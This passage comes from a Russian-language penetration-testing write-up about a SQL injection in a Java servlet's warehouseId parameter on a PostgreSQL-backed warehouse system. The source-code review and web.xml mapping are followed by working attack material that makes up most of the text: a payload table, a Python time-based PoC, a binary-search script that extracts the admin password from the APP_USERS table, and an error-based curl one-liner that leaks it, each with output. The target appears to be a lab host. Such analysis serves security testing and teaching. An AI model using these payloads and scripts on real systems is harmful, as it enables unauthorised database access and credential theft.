\u00b7 minQty \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 Integer.parseInt(…)\u00a0\u2014 \u043d\u0435\u2011\u0447\u0438\u0441\u043b\u043e \u0434\u0430\u0435\u0442 NumberFormatException \u0435\u0449\u0435 \u0434\u043e\u00a0\u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u041a\u0430\u043a\u00a0\u0432\u0435\u043a\u0442\u043e\u0440 \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u0435\u043d.<\/p>\n

\u00b7 warehouseId (paramString1) \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u00a0\u0437\u0430\u043f\u0440\u043e\u0441 \u043a\u0430\u043a\u00a0\u0435\u0441\u0442\u044c<\/strong>: \u0431\u0435\u0437\u00a0\u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0431\u0435\u0437\u00a0PreparedStatement, \u0431\u0435\u0437\u00a0\u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043a\u00a0\u0447\u0438\u0441\u043b\u0443.<\/p>\n

\u00b7 \u0417\u0430\u043f\u0440\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 Statement.executeQuery(qry)\u00a0\u2014 \u0431\u0430\u0437\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u0443 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e.<\/p>\n

warehouseId \u0443\u044f\u0437\u0432\u0438\u043c \u043a SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438. \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0432\u044b\u0447\u0435\u043a (WAREHOUSE_ID=1, \u0430 \u043d\u0435 =’1′). \u0417\u043d\u0430\u0447\u0438\u0442, \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u2014 \u043c\u044b \u0443\u0436\u0435 \u0432\u043d\u0435 \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u043e\u0433\u043e \u043b\u0438\u0442\u0435\u0440\u0430\u043b\u0430 \u0438 \u043c\u043e\u0436\u0435\u043c \u0441\u0440\u0430\u0437\u0443 \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0439 SQL. \u0421\u0423\u0411\u0414 \u2014 PostgreSQL.<\/p>\n

\"\u0421\u0442\u0440\u043e\u043a\u0430<\/p>\n
\u0421\u0442\u0440\u043e\u043a\u0430 «… WHERE WAREHOUSE_ID=» + paramString1 \u2014 \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u044f \u0432\u0432\u043e\u0434\u0430 \u0432 SQL.<\/em><\/figcaption><\/div>\n<\/figure>\n

\u0428\u0430\u0433 5. \u0412\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c URL<\/h2>\n

\u041a\u043b\u0430\u0441\u0441 \u2014 \u043d\u0435 \u0430\u0434\u0440\u0435\u0441. \u041f\u043e \u043a\u0430\u043a\u043e\u043c\u0443 URL \u0441\u0435\u0440\u0432\u043b\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0441\u043d\u0430\u0440\u0443\u0436\u0438? \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u00ab\u043a\u043b\u0430\u0441\u0441 \u2192 URL\u00bb \u0437\u0430\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f WEB-INF\/web.xml: \u0431\u043b\u043e\u043a <servlet> \u0434\u0430\u0435\u0442 \u043a\u043b\u0430\u0441\u0441\u0443 \u0438\u043c\u044f, <servlet-mapping> \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e \u0438\u043c\u044f \u043a \u043f\u0443\u0442\u0438. \u0413\u0440\u0435\u043f\u0430\u0435\u043c \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u043a\u043b\u0430\u0441\u0441\u0430:<\/p>\n

<servlet>
\u00a0\u00a0\u00a0 <servlet-name>ReportExportServlet<\/servlet-name>
\u00a0\u00a0\u00a0 <servlet-class>com.acme.wms.servlets.ReportExportServlet<\/servlet-class>
<\/servlet><\/p>\n

<servlet-mapping>
\u00a0\u00a0\u00a0 <servlet-name>ReportExportServlet<\/servlet-name>
\u00a0\u00a0\u00a0 <url-pattern>\/servlet\/ReportExportServlet<\/url-pattern>
<\/servlet-mapping><\/code><\/p>\n

url-pattern: \/servlet\/ReportExportServlet.<\/p>\n

\"web.xml<\/p>\n
web.xml \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043a\u043b\u0430\u0441\u0441 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u0430 \u0441 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c URL.<\/em><\/figcaption><\/div>\n<\/figure>\n

\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0432\u0435\u0442\u043a\u0443:<\/p>\n

https:\/\/<target>:8443\/servlet\/ReportExportServlet?minQty=1&warehouseId=1<\/code><\/p>\n

\u0421\u043e\u0431\u0435\u0440\u0435\u0442 SQL:<\/p>\n

select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1 and QTY > 1<\/code><\/p>\n

warehouseId \u2014 \u0442\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430.<\/p>\n

\u0428\u0430\u0433 6. \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u043c<\/h2>\n

\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e<\/h3>\n

\u0420\u0443\u043a\u0430\u043c\u0438, \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u0435\u043b\u0435\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 ; \u0432 warehouseId:<\/p>\n

curl '<\/code>https:\/\/192.168.56.20:8443\/servlet\/ReportExportServlet?minQty=1&warehouseId=1<\/code><\/a>;' -k -i<\/code><\/p>\n

\u0421\u0438\u043c\u0432\u043e\u043b ; \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u043e\u0434\u0438\u043d SQL-\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 (\u0441\u0442\u0435\u043a-\u0437\u0430\u043f\u0440\u043e\u0441). JDBC-\u0434\u0440\u0430\u0439\u0432\u0435\u0440 PostgreSQL \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0432 \u043e\u0434\u043d\u043e\u043c \u0432\u044b\u0437\u043e\u0432\u0435 \u2014 \u044d\u0442\u0438\u043c \u043c\u044b \u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f. \u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u043c [C1]<\/a>\u00a0debug-\u043b\u043e\u0433\u0435 \u0432 \u043b\u043e\u0433\u0430\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u044f\u0432\u0438\u0442\u0441\u044f \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441, \u0430 \u0432 \u043b\u043e\u0433\u0435 PostgreSQL \u2014 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430. \u0412\u0432\u043e\u0434 \u0434\u043e\u043b\u0435\u0442\u0430\u0435\u0442 \u0434\u043e \u043f\u0430\u0440\u0441\u0435\u0440\u0430 SQL.<\/p>\n

\u041f\u0435\u0440\u0435\u0431\u043e\u0440 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a<\/h3>\n

\u041d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 (PostgreSQL, \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442):<\/p>\n

\n
\n\n\n\n\n\n\n\n
\n

\u041d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 (\u0432 warehouseId)<\/strong><\/p>\n<\/td>\n

\n

\u0418\u0434\u0435\u044f<\/strong><\/p>\n<\/td>\n

\n

\u0418\u0442\u043e\u0433<\/strong><\/p>\n<\/td>\n<\/tr>\n

\n

1 ORDER BY 1—<\/p>\n<\/td>\n

\n

\u0447\u0438\u0441\u043b\u043e \u043a\u043e\u043b\u043e\u043d\u043e\u043a<\/p>\n<\/td>\n

\n

\u0437\u0430\u0432\u0438\u0441\u0438\u0442<\/p>\n<\/td>\n<\/tr>\n

\n

1 UNION SELECT 1<\/p>\n<\/td>\n

\n

\u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 UNION<\/p>\n<\/td>\n

\n

\u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442<\/p>\n<\/td>\n<\/tr>\n

\n

1 UNION SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END<\/p>\n<\/td>\n

\n

boolean-based<\/p>\n<\/td>\n

\n

\u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442<\/p>\n<\/td>\n<\/tr>\n

\n

1;select pg_sleep(10)—<\/p>\n<\/td>\n

\n

time-based blind<\/p>\n<\/td>\n

\n

\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n

\u00a0<\/p>\n

UNION \u043d\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442: \u0447\u0438\u0441\u043b\u043e \u0438 \u0442\u0438\u043f\u044b \u043a\u043e\u043b\u043e\u043d\u043e\u043a \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0442\u044c \u0441 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u0422\u043e\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 distinct(SKU) (varchar), \u0430 SELECT 1 \u2014 integer. Postgres \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 UNION types integer and character varying cannot be matched. \u041f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0442\u0438\u043f\u043e\u0432 (SELECT NULL::text) \u043f\u043e\u043c\u043e\u0433\u043b\u043e \u0431\u044b, \u043d\u043e \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0444\u0430\u043a\u0442\u0430 \u043b\u0438\u0448\u043d\u0435\u0435.<\/p>\n

Time-based \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442. pg_sleep(10) \u2014 \u0444\u0443\u043d\u043a\u0446\u0438\u044f PostgreSQL, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u043e\u0441\u0442\u043e \u0436\u0434\u0435\u0442 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u0441\u0435\u043a\u0443\u043d\u0434. \u041f\u0440\u0438\u0435\u043c \u0443\u0434\u043e\u0431\u0435\u043d \u0442\u0435\u043c, \u0447\u0442\u043e \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u043e\u0442\u0432\u0435\u0442\u0435: \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f, \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 10 \u0441\u0435\u043a\u0443\u043d\u0434 \u0434\u043e\u043b\u044c\u0448\u0435 \u2014 \u0438 \u044d\u0442\u043e \u0443\u0436\u0435 \u0441\u0438\u0433\u043d\u0430\u043b \u00ab\u0434\u0430\u00bb. \u0422\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0432\u0441\u043b\u0435\u043f\u0443\u044e, \u043a\u043e\u0433\u0434\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f.<\/p>\n

\u041e\u0434\u043d\u0430 \u0434\u0435\u0442\u0430\u043b\u044c: \u043f\u043e\u0441\u043b\u0435 warehouseId \u0432 \u0437\u0430\u043f\u0440\u043e\u0441 \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0445\u0432\u043e\u0441\u0442 \u00a0and QTY > 1. \u0415\u0441\u043b\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0433\u043e\u043b\u043e\u0439, \u043e\u043d \u043f\u0440\u0438\u043b\u0438\u043f\u043d\u0435\u0442 \u043a pg_sleep (select pg_sleep(10) and QTY > 1) \u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u043f\u0430\u0434\u0435\u0442 \u043d\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0435\u0449\u0435 \u0434\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u2014 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0445\u0432\u043e\u0441\u0442 \u0433\u0430\u0441\u0438\u043c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u043c —. \u041d\u0430\u0448 \u0441\u0442\u0435\u043a-\u0437\u0430\u043f\u0440\u043e\u0441 ;select pg_sleep(10)— \u0434\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u0442\u0430\u043a\u0443\u044e \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0443:<\/p>\n

select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1;select pg_sleep(10)— and QTY > 1<\/p>\n

<\/figure>\n

PoC \u043d\u0430 Python<\/h3>\n

#!\/usr\/bin\/env python3
import sys
import requests
import urllib3<\/p>\n

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<\/p>\n

def main():
\u00a0\u00a0\u00a0 if len(sys.argv) != 2:
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(\"usage: %s <target>\" % sys.argv[0])
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 sys.exit(1)<\/p>\n

\u00a0\u00a0\u00a0 target = sys.argv[1]
\u00a0\u00a0\u00a0 payload = \";select pg_sleep(10)--\"\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 # time-based blind, -- \u0433\u0430\u0441\u0438\u0442 \u0445\u0432\u043e\u0441\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u0430<\/p>\n

\u00a0\u00a0\u00a0 url = \"<\/code>https:\/\/%s:8443\/servlet\/ReportExportServlet<\/code><\/a>\" % target
\u00a0\u00a0\u00a0 params = {\"minQty\": \"1\", \"warehouseId\": \"1%s\" % payload}<\/p>\n

\u00a0\u00a0\u00a0 r = requests.get(url, params=params, verify=False, timeout=30)
\u00a0\u00a0\u00a0 print(\"status:\u00a0 %s\" % r.status_code)
\u00a0\u00a0\u00a0 print(\"elapsed: %.2fs\" % <\/code>r.elapsed.total<\/code><\/a>_seconds())\u00a0 \u00a0# ~10s => \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e<\/p>\n

if name<\/strong> == \"__main__\":
\u00a0\u00a0\u00a0 main()<\/code><\/p>\n

\u0417\u0430\u043f\u0443\u0441\u043a:<\/p>\n

$ python3 <\/code>sql.py<\/code><\/a> 192.168.56.20
status:\u00a0 200
elapsed: 10.31s<\/code><\/p>\n

elapsed \u2248 10 \u0441 \u2014 \u0441\u0435\u0440\u0432\u0435\u0440 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b pg_sleep(10). \u0418\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430.<\/p>\n

\"\u041e\u0442\u0432\u0435\u0442<\/p>\n
\u041e\u0442\u0432\u0435\u0442 \u043f\u0440\u0438\u0448\u0435\u043b \u0447\u0435\u0440\u0435\u0437 ~10 \u0441\u0435\u043a\u0443\u043d\u0434 \u2014 pg_sleep \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b.<\/em><\/figcaption><\/div>\n<\/figure>\n

\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u043b\u043e\u0433\u0430\u0445<\/h3>\n

\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u2014 \u043b\u043e\u0433 PostgreSQL. \u0421\u0442\u0435\u043a-\u0437\u0430\u043f\u0440\u043e\u0441 \u0440\u0430\u0437\u0431\u0438\u0442 \u043d\u0430 \u0434\u0432\u0430<\/strong> \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430: \u043f\u0435\u0440\u0432\u044b\u0439 \u2014 \u0448\u0442\u0430\u0442\u043d\u0430\u044f \u0432\u044b\u0431\u043e\u0440\u043a\u0430, \u0432\u0442\u043e\u0440\u043e\u0439 \u2014 \u043d\u0430\u0448 pg_sleep(10), \u0430 \u0445\u0432\u043e\u0441\u0442 \u00a0and QTY > 1 \u0441\u044a\u0435\u0434\u0435\u043d \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u043c —:<\/p>\n

LOG:\u00a0 execute <unnamed>: select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1
LOG:\u00a0 execute <unnamed>: select pg_sleep(10)-- and QTY > 1<\/code><\/p>\n

\"\u041b\u043e\u0433<\/p>\n
\u041b\u043e\u0433 PostgreSQL: \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 pg_sleep(10).<\/em><\/figcaption><\/div>\n<\/figure>\n

\u041e\u0442 blind \u043a \u0434\u0430\u043c\u043f\u0443<\/h2>\n

\u0417\u0430\u0434\u0435\u0440\u0436\u043a\u0430 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e, \u043d\u043e \u0441\u0430\u043c\u0430 \u043f\u043e \u0441\u0435\u0431\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u043e: \u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u0432\u0438\u0441\u0435\u043b \u0434\u0435\u0441\u044f\u0442\u044c \u0441\u0435\u043a\u0443\u043d\u0434, \u0438 \u0442\u043e\u043b\u044c\u043a\u043e. \u041f\u043e\u043a\u0430\u0436\u0435\u043c, \u0447\u0442\u043e \u0437\u0430 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u043e\u0439 \u0441\u0442\u043e\u044f\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.<\/p>\n

\u0421\u0435\u0440\u0432\u043b\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u0440\u044f\u0447\u0435\u0442: catch \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u0442 \u0438\u0445, \u043d\u043e \u0432 \u043e\u0442\u0432\u0435\u0442 \u043d\u0435 \u043e\u0442\u0434\u0430\u0435\u0442. \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u0434\u0435\u043c \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u0441\u043b\u0435\u043f\u0443\u044e \u0438 \u0432\u044b\u0442\u044f\u0433\u0438\u0432\u0430\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0431\u0438\u0442\u0443 \u0442\u0435\u043c \u0436\u0435 \u043f\u0440\u0438\u0435\u043c\u043e\u043c \u0441 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u043e\u0439: \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 pg_sleep, \u0438 \u043e\u0442\u0432\u0435\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0434\u043e\u043b\u044c\u0448\u0435.<\/p>\n

\u041f\u0440\u043e\u0431\u043d\u0438\u043a \u043f\u043e \u043f\u0435\u0440\u0432\u043e\u043c\u0443 \u0441\u0438\u043c\u0432\u043e\u043b\u0443 \u043f\u0430\u0440\u043e\u043b\u044f \u0438\u0437 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u044b APP_USERS:<\/p>\n

1 and ascii(substr((select password from APP_USERS limit 1),1,1)) > 77 and pg_sleep(1) is not null--<\/code><\/p>\n

\u041e\u0442\u0432\u0435\u0442 \u0434\u043e\u043b\u044c\u0448\u0435 1 \u0441\u0435\u043a\u0443\u043d\u0434 \u2192 \u043a\u043e\u0434 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u0430 \u0431\u043e\u043b\u044c\u0448\u0435 77. \u0411\u0438\u043d\u0430\u0440\u043d\u044b\u043c \u043f\u043e\u0438\u0441\u043a\u043e\u043c \u043f\u043e \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0441\u0442\u0440\u043e\u043a\u0443 \u0446\u0435\u043b\u0438\u043a\u043e\u043c:<\/p>\n

import requests, time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<\/p>\n

URL = \"<\/code>https:\/\/127.0.0.1:8443\/servlet\/ReportExportServlet\"
<\/code><\/a>
def truthy(cond, delay=1):
\u00a0\u00a0\u00a0 wid = \"1 and (%s) and pg_sleep(%d) is not null--\" % (cond, delay)
\u00a0\u00a0\u00a0 t = time.time()
\u00a0\u00a0\u00a0 requests.get(URL, params={\"minQty\": \"1\", \"warehouseId\": wid}, verify=False)
\u00a0\u00a0\u00a0 return time.time() - t > delay<\/p>\n

sub = \"(select password from APP_USERS where username='admin')\"
out = \"\"
for pos in range(1, 14):
\u00a0\u00a0\u00a0 lo, hi = 32, 126
\u00a0\u00a0\u00a0 while lo < hi:\u00a0\u00a0\u00a0\u00a0
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 mid = (lo + hi) \/\/ 2
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if truthy(\"ascii(substr(%s,%d,1)) > %d\" % (sub, pos, mid)):
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 lo = mid + 1
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 else:
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 hi = mid
\u00a0\u00a0\u00a0 out += chr(lo)
\u00a0\u00a0\u00a0 print(\"pos %2d -> %r\" % (pos, out))
print(\"password:\", out)<\/code><\/p>\n

\u041f\u0430\u0440\u043e\u043b\u044c \u0432\u044b\u0442\u0435\u043a\u0430\u0435\u0442 \u043f\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u0443:<\/p>\n

$ python3 <\/code>dump.py<\/code><\/a>
pos\u00a0 1 -> 'S'
pos\u00a0 2 -> 'S3'
...
pos 13 -> 'S3cr3t-Adm1n!'
password: S3cr3t-Adm1n!<\/code><\/p>\n

\"\u041f\u0430\u0440\u043e\u043b\u044c<\/p>\n
\u041f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0430, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u0432\u0441\u043b\u0435\u043f\u0443\u044e \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0441\u0438\u043c\u0432\u043e\u043b\u0443 \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0443.<\/em><\/figcaption><\/div>\n<\/figure>\n

\u0415\u0441\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442<\/strong> \u043e\u0448\u0438\u0431\u043a\u0443 \u0411\u0414 (\u0447\u0430\u0441\u0442\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u2014 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 stack trace \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435 \u0432 \u043e\u0442\u0432\u0435\u0442\u0435), \u0442\u043e\u0442 \u0436\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0434\u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u041f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u043a int \u0440\u043e\u043d\u044f\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441, \u0430 PostgreSQL \u043a\u043b\u0430\u0434\u0435\u0442 \u0441\u0430\u043c\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442 \u043e\u0448\u0438\u0431\u043a\u0438:<\/p>\n

curl -sk --data-urlencode 'minQty=1' \\
\u00a0 --data-urlencode \"warehouseId=1 and 1=cast((select password from APP_USERS where username='admin') as int)--\" \\
\u00a0 -G 'https:\/\/<target>:8443\/servlet\/ReportExportServlet'
# export failed: ERROR: invalid input syntax for type integer: \"S3cr3t-Adm1n!\"<\/code><\/p>\n

\"\u041f\u0430\u0440\u043e\u043b\u044c<\/p>\n
\u041f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0430, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u043f\u043e \u0432\u044b\u0432\u043e\u0434\u0443 Error.<\/em><\/figcaption><\/div>\n<\/figure>\n

